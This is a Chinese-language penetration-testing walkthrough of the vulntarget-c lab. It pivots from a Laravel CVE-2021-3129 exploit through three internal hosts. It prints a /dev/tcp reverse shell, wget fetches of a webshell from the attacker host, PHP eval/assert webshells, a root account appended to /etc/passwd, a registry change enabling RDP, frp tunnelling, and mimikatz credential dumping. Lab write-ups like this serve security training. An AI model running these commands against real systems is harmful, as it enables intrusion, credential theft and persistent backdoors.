✎ 阅读须知
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!
本文作者:NaMi 本文已获得作者授权
vuntarget免责声明
vulntarget靶场系列仅供安全专业人员练习渗透测试技术,此靶场所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用靶场中的技术资料对任何计算机系统进行入侵操作。利用此靶场所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
vulntarget靶场系列拥有对此靶场系列的的修改、删除和解释权限,未经授权,不得用于其他。
下载地址
百度云链接:
https://pan.baidu.com/s/1p3GDd7V3Unmq3-wSAvl7_Q 提取码:1p9p
其中vulntarget-c是本次环境
github地址:
https://github.com/crow821/vulntarget
win2016
测试连通性
修改ubuntu 20
ubuntu 20
测试连通性
nmap
端口扫描
看到80
端口开放的Laravel
寻找了多个EXP
之后,终于找到一个能用的:将脚本文件和phpggc
这个脚本放在同一级目录下
phpgcc:https://codeload.github.com/ambionics/phpggc/zip/refs/heads/master
exp:https://github.com/crisprss/Laravel_CVE-2021-3129_EXP
使用方法就是使用python3 exp.py "system('id')"
,里面的IP需要改成攻击的IP
测试反弹shell
不成功
bash -i >& /dev/tcp/192.168.0.107/6666 0>&1
pwd
也是在当前目录
开启的是PHP+Apache
环境,linux
下apache
的默认路径 /var/www/html
,看到了存在laravel
的压缩包
直接看到public
下的入口文件index.php
本来想在这里写入一句话木马,先把index.php
备份了一下
python3 Laravel_CVE-2021-3129_EXP.py "system('cp /var/www/html/public/index.php /var/www/html/public/index.php.bak');"
但是发现存在过滤,导致写入失败
所以直接使用wget
命令下载了一个冰蝎马上去,连接成功:
python3 Laravel_CVE-2021-3129_EXP.py "system('cd /var/www/html/public&&wget http://192.168.0.107:81/shell.php');"
直接上传一个msf
的elf
后门上去,msf
还是挺好用的。接下来就是提权
然后使用suggester
脚本搜索提权的漏洞,这里搜索到一个:
但是尝试攻击之后,发现并没有攻击成功或者说是没有session
返回
在host
目录下发现存在vulntarget
目录,在home
下存在这个目录说明可能存在这个用户
来到cat/ etc/passwd
来确认,确实存在这个用户:
使用工具来进行爆破,在一开始的端口扫描发现是存在ssh
的vulntarge
存在弱密码:
当然也可以使用hydra
进行爆破:
使用ssh
登录上来
尝试使用suid
提权,发现并没有可以使用的提权
使用sudo -l
查看哪些文件是可以使用root权限执行的,在/opt/root.py
存在一个python
文件
这个pdb
漏洞不是太懂,看了作者的文章:这个脚本就是开启一个监听器,需要输入密码才能进入选项进行相应的选项。这里没有添加else
,如果使用了非数字会进入调试器,在调试器中就可以执行python
命令
这里忘记截图了,就是说sudo root.py
之后在ssh进入一个新的,或者nc 192.168.0.120 port
生成的端口,接着输入一个非数字,就会进入如下界面。可以执行os.system('id')
命令是root
尝试反弹shell和执行后门文件都不行,所以我直接写入一个root用户,查看/etc/passwd
写入成功
(Pdb) os.system('echo 'nami:nami$6L6IhMNlfyB2WqmHiWRy30:0:0::/root:/bin/bash' >>/etc/passwd')
使用ssh登录成功,获取一个root权限的账户
在/root/flag
查看flag
顺便再执行一下后门文件上传到msf
,方便进行下一步渗透
现第二块网
然后添加路由,设置socks5
代理,使用代理nmap
进行IP
扫描
扫描到了20.100
的80
端口开放了
NMAP
扫描只开放了80
,443
在firefox
设置一个socks5
代理
然后使用socks
代理访问到了80
端口,是一个OVAS-PHP
随手一个admin
,进入到了后台登录。这个系统没见过,百度搜了一下也没什么信息
给BURP
设置一个socks
代理,然后访问网站抓包,proxy
的代理配置好之后,socks
配置完成就可以抓包了
我用的kali
自带的burp
,爆破起来很慢,就偷个懒,写一个简单的字典进行爆破。就假装我这里爆破成功了
在后台修改文章处存在SQL
注入
搭建frp
隧道 服务端
#frps.ini
[common]
bind_port = 7002
客户端
#frpc.ini
[common]
server_addr = 192.168.0.107
server_port = 7002
[plugin_socks]
type = tcp
remote_port = 7777
plugin = socks5
使用冰蝎上传frpc
到目标服务器,然后使用msf
执行
python3 -c 'import pty;pty.spawn("/bin/bash")
使用sqlmap
进行爆破,sqlmap -r sql.txt --proxy=socks://10.30.7.99:8888
,还是frp
快!存在SQL
注入
os-shell
是可以执行命令的,当前还是一个system
权限
我在C:\xampp\htdocs\ovas\admin\categories
目录下写了文件
http://10.0.20.100/admin/categories/index2.php
phpinfo();
可以执行,但是写木马文件就会被杀掉。
echo <?php $a = $_REQUEST['d'];$a = "$a";$b['test'] = "";eval($b['test']."$a");?> > index.php
echo <?php $a = "assert";$fun = "a";array_map($$fun, array($_REQUEST['a']));?> > test.php
存在windows defender
借用作者大大的免杀一句话,我写到了根目录的index.php
,如果写到admin
还需要添加数据,添加上登录的账号密码:
存在第二块网卡
免杀上线MSF
,执行上传的后门文件
第二个flag
在c:\Users\Administrator\flag.txt
,不能使用doc
命令搜索,名字为flag/flag.txt
的太多了
添加路由
执行mimikazi
需要system
权限,使用ps
列举,然后窃取token
抓取hash
使用md5
解密网站进行解密,查询到是付费的,由于是本地,就不解密了Admin#123
使用nmap
或者msf
的模块对端口进行扫描,只开放了22
开启windows
机器的3389
进行登录
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
使用代理工具,这是kali
的代理
连接错误是由于开启了验证
需要使用相同版本的计算机才可以,这里我没有2016
的机器就直接关掉这个选项了
3389登录成功
存在一个ssh
连接工具,使用win2016
的登录密码可以进来,然后有10.0.10.110
的ssh
用户连接
我直接给Defender
关闭了
我在这里关闭了,110
也访问不到2016
这台机器,所以就不搞msf
了,查看110
这台机器的版本,可以搜索到一些提权脚本
下载脚本进行提权 git clone https://github.com/briskets/CVE-2021-3493
编译好之后上传,提权成功
获取最后的flag